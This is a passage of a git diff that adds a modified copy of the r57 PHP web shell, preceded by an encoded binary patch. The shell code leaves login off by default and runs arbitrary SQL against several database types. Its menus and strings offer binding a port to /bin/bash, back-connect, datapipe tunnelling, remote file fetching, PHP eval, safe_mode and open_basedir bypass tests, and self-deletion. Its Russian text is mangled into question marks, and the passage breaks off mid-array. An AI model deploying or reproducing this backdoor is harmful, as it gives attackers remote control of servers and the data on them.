zD-Y4_F?+}_9pSc6^6zSXrV0iElFIWts~lT|J@lDb5zI1amp7P$c0u#=z|p<w?8hJq z;|~Ubhbl<xBJ`GbXd3M;cC!^Sqx~6uNVpV#lid{K{O&N)Un6J+eO1SA>ia{fqlaaB z<#6X>n0iBR2a|>?mtmfj$K=U(#SI}!v#ST8O2k!-yfu*&J>ZdmwwRrd-EuO&dG_=m zMp)d#<lA8l-P-D?`r0nC1vER7_-hj0XV5i&h9F5z+-K3%u}aoVH`K%!>cjoC;?AY? z)=RV=f+$y$)YLBOJLcy`eu!E`a_O=;^*A4Z>c;i0@`%PVyVKg-8%&n_LmeHbo}}QY zNVlF-YDPh$aGMRnsES%38R~yWfK&8uGuEOzoz3l!WkP782c!7Q->!Bxn$A2tx^=rM zJJc{h*xr^6bp=(gE9T{OenfJ$19)61%4V=V$}d1_K%Wa+Eg>JLr|Z4p<{EziBlmX> zzC?02xpcCKLm&xiV+l9eF-G{JC~Hcc4VR~Nr|gUz*A!S@XdYFh{hIPJkURJvJtEDg zI1h7he;eyZDM@C^wVWz!A!zv5n$)D}$##I(2oE92j)K=Qlh%67<022??Wek9?az4N z**T`6$>M`gd$`HKNzVFj(F&%8V(l`?!|QL?E}|LjajyZFIK+>MG}@m#6vC6FE7!>m zG`YJc={sXGP*OzExo?rKbyd*r_SG7;Qq@Q{x=2CwIgh!lpNIn_)DLgp<mtJF2RV$D z412B9o7R&UE!OCA2u-X^s92;)&_CFn+rr87dEcda;pEVHiTdaK=sTub;cldv4q>W_ z&q^Dd%c4jj_5^v_<TzOB_;t3O@n=r!3+de!q&z9adn}c&PY#G1ro7MC{@~-O6f})y zJzqD@yL$M3^uZ9m>IBNd$RL6dI~<?D>&5K`W*p8&nYDy?JdQ2AL3<EFS@J0`B3hhq z=9*eU*t>$$RB_DSkhY{rSqKy5G%_=CL9uEl5dBL;UNovo2MEou?}ARNAvA0mG4nH= z_B1QZS@=+rrfLM2Ja(>Iqt;}G1PLg^Ji_eMo8cm$@%@vMU1y>mlx{z$6Or|zHMibn zS;4la3@0y2Prcg#T4+LuFyDN=sTlae8qJq~^D|)F1EfO>IKm8<N^xzHQ%|ay+ckX* z=xn(+Il*)mE{WhFW>^aH7RsNm(XBOKPUwPI^(*E|j;b9)dp7qH`8r=!@%7xMRm$yW zRsnj;c%4vUu4Oj-&GwPbv~)SyyXJ|o!Ebtoi=5uKNB1)|{a~e?AQ~)6LO>s-o45uN z@@pz5XhRq@Y7z=QO}=g`R!Kr%%EL}<j`^iw8NbOMJh#@Lva%XoJb!wuLSA9azrIKZ z3VmJV=G`Ya(4Ur#l=XoUqx$8IphwEDD<;hZ270O92+$@?U5>;GrU#YdtZl-`Kc>*w zFzR_iPoCCGdj2vYnuWu@c8}Xay)f!5>riM|?)avVUn61ZqJc8=1E%LS!|wE1#Eg}) zPwH05NT1v*8KSvI_;ir_;89}X!i!f`H&3qxxd?JgS(Lo+RS1YF<>_A}?l>h3%+s~) ztC7pYmBs@$+s-3}dp5t%Hp_Y*OgK(!loYNVJ`R@E@zOs#yI!lse5Er>=e;7=hOJY% z(*^3aj98XVm1m|If|-ksG9_9YuoUP-;B7D>cqv;Hr&&CaOhy6aSgiYO{f^l<Tz|Hs zxS5Xgh$<2Y%$;!4QHh>S00o$$bG4j3ZihW;kjfRZPsIDT`O|)q_5t7TD>fXqMF;PK z%z^ShbmdJyx1JBpl)TLQ`^^W3a><TTzj^rH_sKukDfjAMOju{L2ZtyY^*DHts*a9d z5$x_A%QfznJ~WZ7D5`{aykl-0BNstW!iRe&8A-z;E4>zoo8zT>c;px!*)lTqiZ%%N z<<Rva7-#n2dYhAjxw7-)SCctWBq`WKGT|8>uf^&-L0O4LE@T+OC%&6wO-+{U<kdvT zN=oulL$3!-trkhx3ZGESZ^8zqAlzwqWX*!sj}jbDntUBLRaVAH`z>?*hyW1>8NM!- zfaM-loWKo<<M%+Z3htO!*VK{|-&rmBS@1O=-&mrO>8rv*E&M1}3J<K~O0hA$xpbZ1 z{iL&GyS_`u2dby+K1`}tUK5Hna|+6Ou(JBxa&}zIU5`|5*n`{pE2M7?V8(U?Sh!HP zgf38RLHxl=^P<dgZH{_%`3d1(=s6c{u7X^#b~E(6%a%IEm(7LE+tPVxI-~X6aYaiu zn6oH`39ka~&SJz{s{?dRULeT=g!Hmr*$pM;%=^7}K1s;H$_1Pb+egmKtg15HR|oDl z|M#muyT@Ap!0O2Qmu#sO-~ZT9p=f`hy{vR42PDQ1Isk&O&tfRNo#^>6pjvYc$R?U_ z)Tt*{wMoR+53X4w!$vPCT-^n!8t&|ZQg%V%*>;fiR-llTiry-)k_gDzju;!H-~4?N zv5kaffyumemU1xl4SI#vOfx+N9C|RKbf88ED5WwYXjfwIZcrep2C={i@EGtk9|`EI zl0V8pTZL@W5p;><aJ8K6P~2163#U-JHx{@QECaOk(PEUi5=IssS8Ft!JH{a09+`5p zVjR?`$%|;&3`Xv-Pg0%d_S4<ua51Jn_{2JjQKYALvWbQ@e!kdV5k}sOLg{M?^as5B zs*vBl(jQMDJO^Ft>a@DM-S`Z}&V1Ne^uS9C$w7sa`c7fy%phsLx43Ibe&aSns7A^@ ziwRqab>05!t%Q3*XJ$28faYL6fc1M6Rdo0Fmg@?7+Seo|Y^6LQXsed`MU0s=F7Iz3 z9UslGY$;qbUf#n~$qXKLg?VHpN1R3Jf&%(&0{{@*FtTuC8@a&6b&n12fu4`J0{K%} zYipFaqbJT*Jeb|=qPz6ZKC?%*meI-)42WeVW*k2nW|}@4_6e501k1nT!uyKJ|K2+P k?3<M4rwJecFQXEs2d_}_{~kzH#QiS`h5r{?@b2h80d_C8cmMzZ literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57_iFX】/r57_iFX.php b/php/PHPshell/【r57_iFX】/r57_iFX.php new file mode 100644 index 0000000..8badfc3 --- /dev/null +++ b/php/PHPshell/【r57_iFX】/r57_iFX.php @@ -0,0 +1,1917 @@ +<?php +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? +/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru +/* ??????: 1.23 +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +//di modif ama pluto +//di modif lagi ama iFX + + +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = " ~Alissa~"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +/* ~~~ ?????????????? ~~~ */ + +// $auth = 1; - ?????????????? ???????? +// $auth = 0; - ?????????????? ????????? +$auth = 0; + +// ????? ? ?????? ??? ??????? ? ??????? +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! +$name=''; // ????? ???????????? +$pass=''; // ?????? ???????????? + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="Modified By iFX"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://lintah-club.ueuo.com>HELLW access denied tau'!!!, soryy neeh cuy!! :D</a> : Access Denied</b>"); + } +} +$head = '<!-- ?????????? ???? --> +<html> +<head> +<title>:: The r57 shell with modified by iFX :: listening L\'Arc~en~Ciel - MilkyWay::</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +body,td,th { +color: #00FF00; +} +tr { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #97C296 1px solid; +BORDER-LEFT: #97C296 1px solid; +BORDER-BOTTOM: #000E6A 1px solid; +} +td { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #97C296 1px solid; +BORDER-LEFT: #97C296 1px solid; +BORDER-BOTTOM: #000000 1px solid; +} +.table1 { +BORDER-RIGHT: #333333 0px; +BORDER-TOP: #97C296 0px; +BORDER-LEFT: #97C296 0px; +BORDER-BOTTOM: #333333 0px; +BACKGROUND-COLOR: #000000; +} +.td1 { +BORDER-RIGHT: #333333 0px; +BORDER-TOP: #97C296 0px; +BORDER-LEFT: #97C296 0px; +BORDER-BOTTOM: #333333 0px; +font: 7pt Verdana; +} +.tr1 { + +BORDER-RIGHT: #333333 0px; +BORDER-TOP: #333333 0px; +BORDER-LEFT: #333333 0px; +BORDER-BOTTOM: #333333 0px; +} +table { +BORDER-RIGHT: #97C296 1px outset; +BORDER-TOP: #97C296 1px outset; +BORDER-LEFT: #97C296 1px outset; +BORDER-BOTTOM: #97C296 1px outset; +BACKGROUND-COLOR: #004F0A; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #00CA0B 1px solid; +BORDER-LEFT: #00CA0B 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #004F0A; +font: 8pt Verdana; +color : #FFFFFF; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #00CA0B 1px solid; +BORDER-LEFT: #00CA0B 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #004F0A; +font: 8pt Verdana; +color:#80DBEE +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #004F0A; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #00CA0B 1px solid; +BORDER-LEFT: #00CA0B 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #004F0A; +font: Fixedsys bold; +color:#E49F1F; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +background-color: #000000; +} + +A:link {COLOR: #97C296; TEXT-DECORATION: none} +A:visited { COLOR: #2BE421; TEXT-DECORATION: none} +A:active {COLOR: #000099; TEXT-DECORATION: none} +A:hover {color: #2FADD7; TEXT-DECORATION: underline} +</STYLE>'; +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo "</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +/* +????? ????? +$language='ru' - ??????? +$language='eng' - ?????????? +*/ +$language='eng'; +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'???????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text77'=>'???????? ????????? ???? ??????', +'ru_text78'=>'?????????? ???????', +'ru_text79'=>'?????????? ???????', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Sikat..!!', +'eng_text2' =>'Running..di server', +'eng_text3' =>'Jalankan perintah', +'eng_text4' =>'Direktori Skrg', +'eng_text5' =>'Upload files ke server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Sikat', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password untuk', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in 